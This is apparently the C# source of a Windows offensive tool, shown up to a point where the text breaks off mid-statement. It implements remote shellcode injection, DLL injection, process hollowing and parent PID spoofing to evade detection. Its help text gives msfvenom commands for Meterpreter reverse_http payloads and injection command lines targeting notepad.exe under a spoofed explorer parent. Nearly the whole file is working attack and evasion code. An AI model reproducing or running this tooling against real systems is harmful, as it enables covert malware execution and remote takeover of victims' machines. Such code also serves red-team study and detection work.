using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Runtime.InteropServices; using System.Security.Principal; using System.Diagnostics; namespace ProcessInjection { class Program { [DllImport("Kernel32", SetLastError = true)] static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId); [DllImport("Kernel32", SetLastError = true)] static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("Kernel32", SetLastError = true)] static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [MarshalAs(UnmanagedType.AsAny)] object lpBuffer, uint nSize, ref uint lpNumberOfBytesWritten); [DllImport("Kernel32", SetLastError = true)] static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, ref uint lpThreadId); [DllImport("Kernel32", SetLastError = true)] static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds); [DllImport("Kernel32", SetLastError = true)] static extern bool CloseHandle(IntPtr hObject); #region DLL Injection [DllImport("kernel32.dll", SetLastError = true)] public static extern IntPtr GetModuleHandleA(string lpModuleName); [DllImport("kernel32", SetLastError = true)] static extern IntPtr GetProcAddress(IntPtr hModule, string procName); #endregion DLL Injection #region Process Hollowing [DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)] private static extern int ZwCreateSection(ref IntPtr section, uint desiredAccess, IntPtr pAttrs, ref LARGE_INTEGER pMaxSize, uint pageProt, uint allocationAttribs, IntPtr hFile); [DllImport("Kernel32.dll", CallingConvention = CallingConvention.StdCall)] private static extern void GetSystemInfo(ref SYSTEM_INFO lpSysInfo); [DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)] private static extern int ZwMapViewOfSection(IntPtr section, IntPtr process, ref IntPtr baseAddr, IntPtr zeroBits, IntPtr commitSize, IntPtr stuff, ref IntPtr viewSize, int inheritDispo, uint alloctype, uint prot); [DllImport("Kernel32.dll", CallingConvention = CallingConvention.StdCall)] private static extern IntPtr GetCurrentProcess(); [DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)] public static extern int ZwQueryInformationProcess(IntPtr hProcess, int procInformationClass, ref PROCESS_BASIC_INFORMATION procInformation, uint ProcInfoLen, ref uint retlen); [DllImport("kernel32.dll", SetLastError = true)] public static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead); [DllImport("kernel32.dll", SetLastError = true, CallingConvention = CallingConvention.StdCall)] static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, IntPtr nSize, out IntPtr lpNumWritten); [DllImport("kernel32.dll", SetLastError = true)] private static extern uint ResumeThread(IntPtr hThread); [DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)] private static extern int ZwUnmapViewOfSection(IntPtr hSection, IntPtr address); [DllImport("Kernel32.dll", SetLastError = true, CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)] private static extern bool CreateProcess(IntPtr lpApplicationName, string lpCommandLine, IntPtr lpProcAttribs, IntPtr lpThreadAttribs, bool bInheritHandles, uint dwCreateFlags, IntPtr lpEnvironment, IntPtr lpCurrentDir, [In] ref STARTUPINFO lpStartinfo, out PROCESS_INFORMATION lpProcInformation); [DllImport("kernel32.dll")] static extern uint GetLastError(); #endregion Process Hollowing #region Parent PID Spoofing [DllImport("kernel32.dll")] [return: MarshalAs(UnmanagedType.Bool)] static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFOEX lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); [DllImport("kernel32.dll", SetLastError = true)] [return: MarshalAs(UnmanagedType.Bool)] private static extern bool UpdateProcThreadAttribute(IntPtr lpAttributeList, uint dwFlags, IntPtr Attribute, IntPtr lpValue, IntPtr cbSize, IntPtr lpPreviousValue, IntPtr lpReturnSize); [DllImport("kernel32.dll", SetLastError = true)] [return: MarshalAs(UnmanagedType.Bool)] private static extern bool InitializeProcThreadAttributeList(IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize); [DllImport("kernel32.dll", SetLastError = true)] static extern bool SetHandleInformation(IntPtr hObject, HANDLE_FLAGS dwMask, HANDLE_FLAGS dwFlags); [DllImport("kernel32.dll", SetLastError = true)] [return: MarshalAs(UnmanagedType.Bool)] static extern bool DuplicateHandle(IntPtr hSourceProcessHandle, IntPtr hSourceHandle, IntPtr hTargetProcessHandle, ref IntPtr lpTargetHandle, uint dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwOptions); #endregion Parent PID Spoofing //http://www.pinvoke.net/default.aspx/kernel32/OpenProcess.html public enum ProcessAccessRights { All = 0x001F0FFF, Terminate = 0x00000001, CreateThread = 0x00000002, VirtualMemoryOperation = 0x00000008, VirtualMemoryRead = 0x00000010, VirtualMemoryWrite = 0x00000020, DuplicateHandle = 0x00000040, CreateProcess = 0x000000080, SetQuota = 0x00000100, SetInformation = 0x00000200, QueryInformation = 0x00000400, QueryLimitedInformation = 0x00001000, Synchronize = 0x00100000 } //https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex public enum MemAllocation { MEM_COMMIT = 0x00001000, MEM_RESERVE = 0x00002000, MEM_RESET = 0x00080000, MEM_RESET_UNDO = 0x1000000, SecCommit = 0x08000000 } //https://docs.microsoft.com/en-us/windows/win32/memory/memory-protection-constants public enum MemProtect { PAGE_EXECUTE = 0x10, PAGE_EXECUTE_READ = 0x20, PAGE_EXECUTE_READWRITE = 0x40, PAGE_EXECUTE_WRITECOPY = 0x80, PAGE_NOACCESS = 0x01, PAGE_READONLY = 0x02, PAGE_READWRITE = 0x04, PAGE_WRITECOPY = 0x08, PAGE_TARGETS_INVALID = 0x40000000, PAGE_TARGETS_NO_UPDATE = 0x40000000, } // https://docs.microsoft.com/en-us/windows/win32/procthread/thread-security-and-access-rights public enum MemOpenThreadAccess { PROCESS_CREATE_THREAD = 0x0002, PROCESS_QUERY_INFORMATION = 0x0400, PROCESS_VM_OPERATION = 0x0008, PROCESS_VM_WRITE = 0x0020, PROCESS_VM_READ = 0x0010, SUSPEND_RESUME = 0x0002, } #region Parent PID Spoofing Structs and flags // Parent PID Spoofing flags - https://www.pinvoke.net/default.aspx/kernel32.sethandleinformation enum HANDLE_FLAGS : uint { None = 0, INHERIT = 1, PROTECT_FROM_CLOSE = 2 } [StructLayout(LayoutKind.Sequential)] public struct SECURITY_ATTRIBUTES { public int nLength; public IntPtr lpSecurityDescriptor; [MarshalAs(UnmanagedType.Bool)] public bool bInheritHandle; } [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] struct STARTUPINFOEX { public STARTUPINFO StartupInfo; public IntPtr lpAttributeList; } #endregion Parent PID Spoofing structs and flags #region Process Hollowing Structs [StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION { public IntPtr hProcess; public IntPtr hThread; public int dwProcessId; public int dwThreadId; } [StructLayout(LayoutKind.Sequential)] internal struct PROCESS_BASIC_INFORMATION { public IntPtr Reserved1; public IntPtr PebAddress; public IntPtr Reserved2; public IntPtr Reserved3; public IntPtr UniquePid; public IntPtr MoreReserved; } [StructLayout(LayoutKind.Sequential)] //internal struct STARTUPINFO public struct STARTUPINFO { uint cb; IntPtr lpReserved; IntPtr lpDesktop; IntPtr lpTitle; uint dwX; uint dwY; uint dwXSize; uint dwYSize; uint dwXCountChars; uint dwYCountChars; uint dwFillAttributes; public uint dwFlags; public ushort wShowWindow; ushort cbReserved; IntPtr lpReserved2; IntPtr hStdInput; IntPtr hStdOutput; IntPtr hStdErr; } [StructLayout(LayoutKind.Sequential)] public struct SYSTEM_INFO { public uint dwOem; public uint dwPageSize; public IntPtr lpMinAppAddress; public IntPtr lpMaxAppAddress; public IntPtr dwActiveProcMask; public uint dwNumProcs; public uint dwProcType; public uint dwAllocGranularity; public ushort wProcLevel; public ushort wProcRevision; } [StructLayout(LayoutKind.Sequential, Pack = 1)] public struct LARGE_INTEGER { public uint LowPart; public int HighPart; } #endregion End of Process Hollowing Structs public static byte[] StringToByteArray(string hex) { return Enumerable.Range(0, hex.Length) .Where(x => x % 2 == 0) .Select(x => Convert.ToByte(hex.Substring(x, 2), 16)) .ToArray(); } public static byte[] convertfromc(string val) { string rval = val.Replace("\"", string.Empty).Replace("\r\n", string.Empty).Replace("x", string.Empty); string[] sval = rval.Split('\\'); var fval = string.Empty; foreach (var lval in sval) { if (lval != null) { fval += lval; } } return StringToByteArray(fval); } public static void CodeInject(int pid, byte[] buf) { try { uint lpNumberOfBytesWritten = 0; uint lpThreadId = 0; Console.WriteLine($"[+] Obtaining the handle for the process id {pid}."); IntPtr pHandle = OpenProcess((uint)ProcessAccessRights.All, false, (uint)pid); Console.WriteLine($"[+] Handle {pHandle} opened for the process id {pid}."); Console.WriteLine($"[+] Allocating memory to inject the shellcode."); IntPtr rMemAddress = VirtualAllocEx(pHandle, IntPtr.Zero, (uint)buf.Length, (uint)MemAllocation.MEM_RESERVE | (uint)MemAllocation.MEM_COMMIT, (uint)MemProtect.PAGE_EXECUTE_READWRITE); Console.WriteLine($"[+] Memory for injecting shellcode allocated at 0x{rMemAddress}."); Console.WriteLine($"[+] Writing the shellcode at the allocated memory location."); if (WriteProcessMemory(pHandle, rMemAddress, buf, (uint)buf.Length, ref lpNumberOfBytesWritten)) { Console.WriteLine($"[+] Shellcode written in the process memory."); Console.WriteLine($"[+] Creating remote thread to execute the shellcode."); IntPtr hRemoteThread = CreateRemoteThread(pHandle, IntPtr.Zero, 0, rMemAddress, IntPtr.Zero, 0, ref lpThreadId); bool hCreateRemoteThreadClose = CloseHandle(hRemoteThread); Console.WriteLine($"[+] Sucessfully injected the shellcode into the memory of the process id {pid}."); } else { Console.WriteLine($"[+] Failed to inject the shellcode into the memory of the process id {pid}."); } //WaitForSingleObject(hRemoteThread, 0xFFFFFFFF); bool hOpenProcessClose = CloseHandle(pHandle); } catch (Exception ex) { Console.WriteLine("[+] " + Marshal.GetExceptionCode()); Console.WriteLine(ex.Message); } } public static void DLLInject(int pid, byte[] buf) { try { uint lpNumberOfBytesWritten = 0; uint lpThreadId = 0; Console.WriteLine($"[+] Obtaining the handle for the process id {pid}."); IntPtr pHandle = OpenProcess((uint)ProcessAccessRights.All, false, (uint)pid); Console.WriteLine($"[+] Handle {pHandle} opened for the process id {pid}."); IntPtr loadLibraryAddr = GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA"); Console.WriteLine($"[+] {loadLibraryAddr} is the address of the LoadLibraryA exported function."); Console.WriteLine($"[+] Allocating memory for the DLL path."); IntPtr rMemAddress = VirtualAllocEx(pHandle, IntPtr.Zero, (uint)buf.Length, (uint)MemAllocation.MEM_RESERVE | (uint)MemAllocation.MEM_COMMIT, (uint)MemProtect.PAGE_EXECUTE_READWRITE); Console.WriteLine($"[+] Memory for injecting DLL path is allocated at 0x{rMemAddress}."); Console.WriteLine($"[+] Writing the DLL path at the allocated memory location."); if (WriteProcessMemory(pHandle, rMemAddress, buf, (uint)buf.Length, ref lpNumberOfBytesWritten)) { Console.WriteLine($"[+] DLL path written in the target process memory."); Console.WriteLine($"[+] Creating remote thread to execute the DLL."); IntPtr hRemoteThread = CreateRemoteThread(pHandle, IntPtr.Zero, 0, loadLibraryAddr, rMemAddress, 0, ref lpThreadId); bool hCreateRemoteThreadClose = CloseHandle(hRemoteThread); Console.WriteLine($"[+] Sucessfully injected the DLL into the memory of the process id {pid}."); } else { Console.WriteLine($"[+] Failed to inject the DLL into the memory of the process id {pid}."); } //WaitForSingleObject(hRemoteThread, 0xFFFFFFFF); bool hOpenProcessClose = CloseHandle(pHandle); } catch (Exception ex) { Console.WriteLine("[+] " + Marshal.GetExceptionCode()); Console.WriteLine(ex.Message); } } public class ProcHollowing { /* Credits goes to Aaron - https://github.com/ambray, Michael Gorelik and @_RastaMouse https://github.com/ambray/ProcessHollowing https://gist.github.com/smgorelik/9a80565d44178771abf1e4da4e2a0e75 https://github.com/rasta-mouse/TikiTorch/blob/master/TikiLoader/Hollower.cs */ IntPtr section_; IntPtr localmap_; IntPtr remotemap_; IntPtr localsize_; IntPtr remotesize_; IntPtr pModBase_; IntPtr pEntry_; uint rvaEntryOffset_; uint size_; byte[] inner_; public const uint PageReadWriteExecute = 0x40; public const uint PageReadWrite = 0x04; public const uint PageExecuteRead = 0x20; public const uint MemCommit = 0x00001000; public const uint SecCommit = 0x08000000; public const uint GenericAll = 0x10000000; public const uint CreateSuspended = 0x00000004; public const uint DetachedProcess = 0x00000008; public const uint CreateNoWindow = 0x08000000; private const ulong PatchSize = 0x10; public uint round_to_page(uint size) { SYSTEM_INFO info = new SYSTEM_INFO(); GetSystemInfo(ref info); return (info.dwPageSize - size % info.dwPageSize) + size; } const int AttributeSize = 24; private bool nt_success(long v) { return (v >= 0); } public IntPtr GetCurrent() { return GetCurrentProcess(); } public static PROCESS_INFORMATION StartProcess(string binaryPath) { uint flags = CreateSuspended; STARTUPINFO startInfo = new STARTUPINFO(); PROCESS_INFORMATION procInfo = new PROCESS_INFORMATION(); CreateProcess((IntPtr)0, binaryPath, (IntPtr)0, (IntPtr)0, false, flags, (IntPtr)0, (IntPtr)0, ref startInfo, out procInfo); Console.WriteLine($"[+] Process {binaryPath} started with Process ID: {procInfo.dwProcessId}."); return procInfo; } /* https://github.com/peperunas/injectopi/tree/master/CreateSection Attemp to create executatble section */ public bool CreateSection(uint size) { LARGE_INTEGER liVal = new LARGE_INTEGER(); size_ = round_to_page(size); liVal.LowPart = size_; long status = ZwCreateSection(ref section_, GenericAll, (IntPtr)0, ref liVal, PageReadWriteExecute, SecCommit, (IntPtr)0); Console.WriteLine($"[+] Executable section created."); return nt_success(status); } public KeyValuePair MapSection(IntPtr procHandle, uint protect, IntPtr addr) { IntPtr baseAddr = addr; IntPtr viewSize = (IntPtr)size_; long status = ZwMapViewOfSection(section_, procHandle, ref baseAddr, (IntPtr)0, (IntPtr)0, (IntPtr)0, ref viewSize, 1, 0, protect); return new KeyValuePair(baseAddr, viewSize); } public void SetLocalSection(uint size) { KeyValuePair vals = MapSection(GetCurrent(), PageReadWriteExecute, IntPtr.Zero); Console.WriteLine($"[+] Map view section to the current process: {vals}."); localmap_ = vals.Key; localsize_ = vals.Value; } public void CopyShellcode(byte[] buf) { long lsize = size_; Console.WriteLine($"[+] Copying Shellcode into section: {lsize}. "); unsafe { byte* p = (byte*)localmap_; for (int i = 0; i < buf.Length; i++) { p[i] = buf[i]; } } } public KeyValuePair BuildEntryPatch(IntPtr dest) { int i = 0; IntPtr ptr; ptr = Marshal.AllocHGlobal((IntPtr)PatchSize); Console.WriteLine($"[+] Preparing shellcode patch for the new process entry point: {ptr}. "); unsafe { byte* p = (byte*)ptr; byte[] tmp = null; if (IntPtr.Size == 4) { p[i] = 0xb8; i++; Int32 val = (Int32)dest; tmp = BitConverter.GetBytes(val); } else { p[i] = 0x48; i++; p[i] = 0xb8; i++; Int64 val = (Int64)dest; tmp = BitConverter.GetBytes(val); } for (int j = 0; j < IntPtr.Size; j++) p[i + j] = tmp[j]; i += IntPtr.Size; p[i] = 0xff; i++; p[i] = 0xe0; i++; } return new KeyValuePair(i, ptr); } private IntPtr GetEntryFromBuffer(byte[] buf) { Console.WriteLine($"[+] Locating the entry point for the main module in remote process."); IntPtr res = IntPtr.Zero; unsafe { fixed (byte* p = buf) { uint e_lfanew_offset = *((uint*)(p + 0x3c)); byte* nthdr = (p + e_lfanew_offset); byte* opthdr = (nthdr + 0x18); ushort t = *((ushort*)opthdr); byte* entry_ptr = (opthdr + 0x10); int tmp = *((int*)entry_ptr); rvaEntryOffset_ = (uint)tmp; if (IntPtr.Size == 4) res = (IntPtr)(pModBase_.ToInt32() + tmp); else res = (IntPtr)(pModBase_.ToInt64() + tmp); } } pEntry_ = res; return res; } public IntPtr FindEntry(IntPtr hProc) { PROCESS_BASIC_INFORMATION basicInfo = new PROCESS_BASIC_INFORMATION(); uint tmp = 0; long success = ZwQueryInformationProcess(hProc, 0, ref basicInfo, (uint)(IntPtr.Size * 6), ref tmp); Console.WriteLine($"[+] Locating the module base address in the remote process."); IntPtr readLoc = IntPtr.Zero; byte[] addrBuf = new byte[IntPtr.Size]; if (IntPtr.Size == 4) { readLoc = (IntPtr)((Int32)basicInfo.PebAddress + 8); } else { readLoc = (IntPtr)((Int64)basicInfo.PebAddress + 16); } IntPtr nRead = IntPtr.Zero; ReadProcessMemory(hProc, readLoc, addrBuf, addrBuf.Length, out nRead); if (IntPtr.Size == 4) readLoc = (IntPtr)(BitConverter.ToInt32(addrBuf, 0)); else readLoc = (IntPtr)(BitConverter.ToInt64(addrBuf, 0)); pModBase_ = readLoc; ReadProcessMemory(hProc, readLoc, inner_, inner_.Length, out nRead); Console.WriteLine($"[+] Read the first page and locate the entry point: {readLoc}."); return GetEntryFromBuffer(inner_); } public void MapAndStart(PROCESS_INFORMATION pInfo) { KeyValuePair tmp = MapSection(pInfo.hProcess, PageReadWriteExecute, IntPtr.Zero); Console.WriteLine($"[+] Locate shellcode into the suspended remote porcess: {tmp}."); remotemap_ = tmp.Key; remotesize_ = tmp.Value; KeyValuePair patch = BuildEntryPatch(tmp.Key); try { IntPtr pSize = (IntPtr)patch.Key; IntPtr tPtr = new IntPtr(); WriteProcessMemory(pInfo.hProcess, pEntry_, patch.Value, pSize, out tPtr); } finally { if (patch.Value != IntPtr.Zero) Marshal.FreeHGlobal(patch.Value); } byte[] tbuf = new byte[0x1000]; IntPtr nRead = new IntPtr(); ReadProcessMemory(pInfo.hProcess, pEntry_, tbuf, 1024, out nRead); uint res = ResumeThread(pInfo.hThread); Console.WriteLine($"[+] Process has been resumed."); } public IntPtr GetBuffer() { return localmap_; } ~ProcHollowing() { if (localmap_ != (IntPtr)0) ZwUnmapViewOfSection(section_, localmap_); } public void Hollow(string binary, byte[] shellcode) { PROCESS_INFORMATION pinf = StartProcess(binary); CreateSection((uint)shellcode.Length); FindEntry(pinf.hProcess); SetLocalSection((uint)shellcode.Length); CopyShellcode(shellcode); MapAndStart(pinf); CloseHandle(pinf.hThread); CloseHandle(pinf.hProcess); } public ProcHollowing() { section_ = new IntPtr(); localmap_ = new IntPtr(); remotemap_ = new IntPtr(); localsize_ = new IntPtr(); remotesize_ = new IntPtr(); inner_ = new byte[0x1000]; } } public class ParentPidSpoofing { // https://stackoverflow.com/questions/10554913/how-to-call-createprocess-with-startupinfoex-from-c-sharp-and-re-parent-the-ch public int SearchForPPID(string process) { int pid = 0; int session = Process.GetCurrentProcess().SessionId; Process[] allprocess = Process.GetProcessesByName(process); try { foreach(Process proc in allprocess) { if (proc.SessionId == session) { pid = proc.Id; Console.WriteLine($"[+] Parent process ID found: {pid}."); } } } catch (Exception ex) { Console.WriteLine("[+] " + Marshal.GetExceptionCode()); Console.WriteLine(ex.Message); } return pid; } public PROCESS_INFORMATION ParentSpoofing(int parentID, string childPath) { // https://stackoverflow.com/questions/10554913/how-to-call-createprocess-with-startupinfoex-from-c-sharp-and-re-parent-the-ch const int PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 0x00020000; const int STARTF_USESTDHANDLES = 0x00000100; const int STARTF_USESHOWWINDOW = 0x00000001; const ushort SW_HIDE = 0x0000; const uint EXTENDED_STARTUPINFO_PRESENT = 0x00080000; const uint CREATE_NO_WINDOW = 0x08000000; const uint CreateSuspended = 0x00000004; var pInfo = new PROCESS_INFORMATION(); var siEx = new STARTUPINFOEX(); IntPtr lpValueProc = IntPtr.Zero; IntPtr hSourceProcessHandle = IntPtr.Zero; var lpSize = IntPtr.Zero; InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref lpSize); siEx.lpAttributeList = Marshal.AllocHGlobal(lpSize); InitializeProcThreadAttributeList(siEx.lpAttributeList, 1, 0, ref lpSize); IntPtr parentHandle = OpenProcess((uint)ProcessAccessRights.CreateProcess | (uint)ProcessAccessRights.DuplicateHandle, false, (uint)parentID); Console.WriteLine($"[+] Handle {parentHandle} opened for parent process id."); lpValueProc = Marshal.AllocHGlobal(IntPtr.Size); Marshal.WriteIntPtr(lpValueProc, parentHandle); UpdateProcThreadAttribute(siEx.lpAttributeList, 0, (IntPtr)PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, lpValueProc, (IntPtr)IntPtr.Size, IntPtr.Zero, IntPtr.Zero); Console.WriteLine($"[+] Adding attributes to a list."); siEx.StartupInfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; siEx.StartupInfo.wShowWindow = SW_HIDE; var ps = new SECURITY_ATTRIBUTES(); var ts = new SECURITY_ATTRIBUTES(); ps.nLength = Marshal.SizeOf(ps); ts.nLength = Marshal.SizeOf(ts); try { bool ProcCreate = CreateProcess(childPath, null, ref ps, ref ts, true, CreateSuspended | EXTENDED_STARTUPINFO_PRESENT | CREATE_NO_WINDOW, IntPtr.Zero, null, ref siEx, out pInfo); if (!ProcCreate) { Console.WriteLine($"[+] Proccess failed to execute!"); } Console.WriteLine($"[+] New process with ID: {pInfo.dwProcessId} created in a suspended stated under the defined parent process."); } catch (Exception ex) { Console.WriteLine("[+] " + Marshal.GetExceptionCode()); Console.WriteLine(ex.Message); } return pInfo; } public void PPidSpoof(string binary, byte[] shellcode, int parentpid) { PROCESS_INFORMATION pinf = ParentSpoofing(parentpid, binary); ProcHollowing hollow = new ProcHollowing(); hollow.CreateSection((uint)shellcode.Length); hollow.FindEntry(pinf.hProcess); hollow.SetLocalSection((uint)shellcode.Length); hollow.CopyShellcode(shellcode); hollow.MapAndStart(pinf); CloseHandle(pinf.hThread); CloseHandle(pinf.hProcess); } } public static void PPIDCodeInject(string binary, byte[] shellcode, int parentpid) { ParentPidSpoofing Parent = new ParentPidSpoofing(); PROCESS_INFORMATION pinf = Parent.ParentSpoofing(parentpid, binary); CodeInject(pinf.dwProcessId, shellcode); } public static void PPIDDLLInject(string binary, byte[] shellcode, int parentpid) { ParentPidSpoofing Parent = new ParentPidSpoofing(); PROCESS_INFORMATION pinf = Parent.ParentSpoofing(parentpid, binary); DLLInject(pinf.dwProcessId, shellcode); } public static void logo() { Console.WriteLine(); Console.WriteLine("################################################################################################"); Console.WriteLine("# ____ ____ ___ ____ _____ ____ ____ ___ _ _ _ _____ ____ _____ ___ ___ _ _ #"); Console.WriteLine("# | _ \\| _ \\ / _ \\ / ___| ____/ ___/ ___| |_ _| \\ | | | | ____/ ___|_ _|_ _/ _ \\| \\ | | #"); Console.WriteLine("# | |_) | |_) | | | | | | _| \\___ \\___ \\ | || \\| |_ | | _|| | | | | | | | | \\| | #"); Console.WriteLine("# | __/| _ <| |_| | |___| |___ ___) |__) | | || |\\ | |_| | |__| |___ | | | | |_| | |\\ | #"); Console.WriteLine("# |_| |_| \\_\\\\___/ \\____|_____|____/____/ |___|_| \\_|\\___/|_____\\____| |_| |___\\___/|_| \\_| #"); Console.WriteLine("# #"); Console.WriteLine("################################################################################################"); Console.WriteLine(); } public static void help() { string help = @" *****************Help***************** [+] The program is designed to perform process injection. [+] Currently the tool supports 3 process injection techniques. 1) Vanila Process Injection 2) DLL Injection 3) Process Hollowing [+] Vanila Process Injection and Process Hollowing. [+] Currently the tool accepts shellcode in 3 formats. 1) base64 2) hex 3) C [+] Currently the tool support 1 evade technique. 1) Parent PID Spoofing [+] Generating shellcode in base64 format and injecting it in the target process. [+] msfvenom -p windows/x64/exec CMD=calc exitfunc=thread -b ""\x00"" | base64 [+] ProcessInjection.exe /pid:123 /path:""C:\Users\User\Desktop\shellcode.txt"" /f:base64 /t:1 [+] Generating shellcode in hex format and injecting it in the target process. [+] msfvenom -p windows/x64/exec CMD=calc exitfunc=thread -b ""\x00"" -f hex [+] ProcessInjection.exe /pid:123 /path:""C:\Users\User\Desktop\shellcode.txt"" /f:hex /t:1 [+] Generating shellcode in c format and injecting it in the target process. [+] msfvenom -p windows/x64/exec CMD=calc exitfunc=thread -b ""\x00"" -f c [+] ProcessInjection.exe /pid:123 /path:""C:\Users\User\Desktop\shellcode.txt"" /f:c /t:1 [+] DLL Injection [+] Generating DLL and injecting it in the target process. [+] msfvenom -p windows/x64/exec CMD=calc exitfunc=thread -b ""\x00"" -f dll > Desktop/calc.dll [+] ProcessInjection.exe /pid:123 /path:""C:\Users\User\Desktop\calc.dll"" /t:2 [+] Process Hollowing [+] Generating shellcode in c format and injecting it in the target process. [+] msfvenom -p windows/meterpreter/reverse_http exitfunc=thread LHOST=<> LPORT=<> -b ""\x00"" -f c [+] ProcessInjection.exe /ppath:""C:\Windows\System32\notepad.exe"" /path:""C:\Users\User\Desktop\shellcode.txt"" /f:c /t:3 [+] [+] Evade Technique [+] [+] Parent PID Spoofing with Process Hollowing. [+] Generating shellcode in c format and injecting it in the target process. [+] msfvenom -p windows/meterpreter/reverse_http exitfunc=thread LHOST=<> LPORT=<> -b ""\x00"" -f c [+] ProcessInjection.exe /ppath:""C:\Windows\System32\notepad.exe"" /path:""C:\Users\User\Desktop\shellcode.txt"" /parentproc:explorer /f:c /t:4 [+] Parent PID Spoofing with Vanila Process Injection. [+] Generating shellcode in c format and injecting it in the target process. [+] msfvenom -p windows/meterpreter/reverse_http exitfunc=thread LHOST=<> LPORT=<> -b ""\x00"" -f c [+] ProcessInjection.exe /ppath:""C:\Windows\System32\notepad.exe"" /path:""C:\Users\User\Desktop\shellcode.txt"" /parentproc:explorer /f:c /t:5 [+] Parent PID Spoofing with DLL Injection. [+] Generating DLL and injecting it in the target process. [+] msfvenom -p windows/meterpreter/reverse_http exitfunc=thread LHOST=<> LPORT=<> -b ""\x00"" -f dll > Desktop/reverse_shell.dll [+] ProcessInjection.exe /ppath:""C:\Windows\System32\notepad.exe"" /path:""C:\Users\User\Desktop\reverse_shell.dll"" /parentproc:explorer /t:6 "; Console.WriteLine(help); } static void Main(string[] args) { try { logo(); // https://github.com/GhostPack/Rubeus/blob/master/Rubeus/Domain/ArgumentParser.cs#L10 var arguments = new Dictionary(); foreach (var argument in args) { var idx = argument.IndexOf(':'); if (idx > 0) arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1); else arguments[argument] = string.Empty; } WindowsIdentity identity = WindowsIdentity.GetCurrent(); WindowsPrincipal principal = new WindowsPrincipal(identity); if (principal.IsInRole(WindowsBuiltInRole.Administrator)) { Console.WriteLine($"[+] Process running with {principal.Identity.Name} privileges with HIGH integrity."); } else { Console.WriteLine($"[+] Process running with {principal.Identity.Name} privileges with MEDIUM / LOW integrity."); } if (arguments.Count == 0) { Console.WriteLine("[+] No arguments specified. Please refer the help section for more details."); help(); } else if (arguments.Count < 3) { Console.WriteLine("[+] Some arguments are missing. Please refer the help section for more details."); help(); } else if (arguments.Count >= 3) { int procid = 0; if (arguments.ContainsKey("/pid")) { procid = Convert.ToInt32(arguments["/pid"]); Process process = Process.GetProcessById(procid); } if (System.IO.File.Exists(arguments["/path"])) { if (arguments["/t"] == "1") { var shellcode = System.IO.File.ReadAllText(arguments["/path"]); byte[] buf = new byte[] { }; if (arguments["/f"] == "base64") { buf = Convert.FromBase64String(shellcode); } else if (arguments["/f"] == "hex") { buf = StringToByteArray(shellcode); } else if (arguments["/f"] == "c") { buf = convertfromc(shellcode); } CodeInject(procid, buf); } else if (arguments["/t"] == "2") { var dllpath = arguments["/path"]; byte[] buf = Encoding.Default.GetBytes(dllpath); DLLInject(procid, buf); } else if (arguments["/t"] == "3") { var shellcode = System.IO.File.ReadAllText(arguments["/path"]); byte[] buf = new byte[] { }; if (arguments["/f"] == "base64") { buf = Convert.FromBase64String(shellcode); } else if (arguments["/f"] == "hex") { buf = StringToByteArray(shellcode); } else if (arguments["/f"] == "c") { buf = convertfromc(shellcode); } ProcHollowing prochollow = new ProcHollowing(); prochollow.Hollow(arguments["/ppath"], buf); } else if (arguments["/t"] == "4") { Console.WriteLine($"[+] Parent Process Spoofing with Process Hollowing Injection Technique."); ParentPidSpoofing Parent = new ParentPidSpoofing(); string ppid = null; int parentProc = 0; ppid = Convert.ToString(arguments["/parentproc"]); parentProc = Parent.SearchForPPID(ppid); var shellcode = System.IO.File.ReadAllText(arguments["/path"]); byte[] buf = new byte[] { }; if (arguments["/f"] == "base64") { buf = Convert.FromBase64String(shellcode); } else if (arguments["/f"] == "hex") { buf = StringToByteArray(shellcode); } else if (arguments["/f"] == "c") { buf = convertfromc(shellcode); } Parent.PPidSpoof(arguments["/ppath"], buf, parentProc); } else if (arguments["/t"] == "5") { Console.WriteLine($"[+] Parent Process Spoofing with Vanila Process Injection Technique."); ParentPidSpoofing Parent = new ParentPidSpoofing(); string ppid = null; int parentProc = 0; ppid = Convert.ToString(arguments["/parentproc"]); parentProc = Parent.SearchForPPID(ppid); var shellcode = System.IO.File.ReadAllText(arguments["/path"]); byte[] buf = new byte[] { }; if (arguments["/f"] == "base64") { buf = Convert.FromBase64String(shellcode); } else if (arguments["/f"] == "hex") { buf = StringToByteArray(shellcode); } else if (arguments["/f"] == "c") { buf = convertfromc(shellcode); } PPIDCodeInject(arguments["/ppath"], buf, parentProc); } else if (arguments["/t"] == "6") { Console.WriteLine($"[+] Parent Process Spoofing with DLL Process Injection Technique."); ParentPidSpoofing Parent = new ParentPidSpoofing(); string ppid = null; int parentProc = 0; ppid = Convert.ToString(arguments["/parentproc"]); parentProc = Parent.SearchForPPID(ppid); var dllpath = 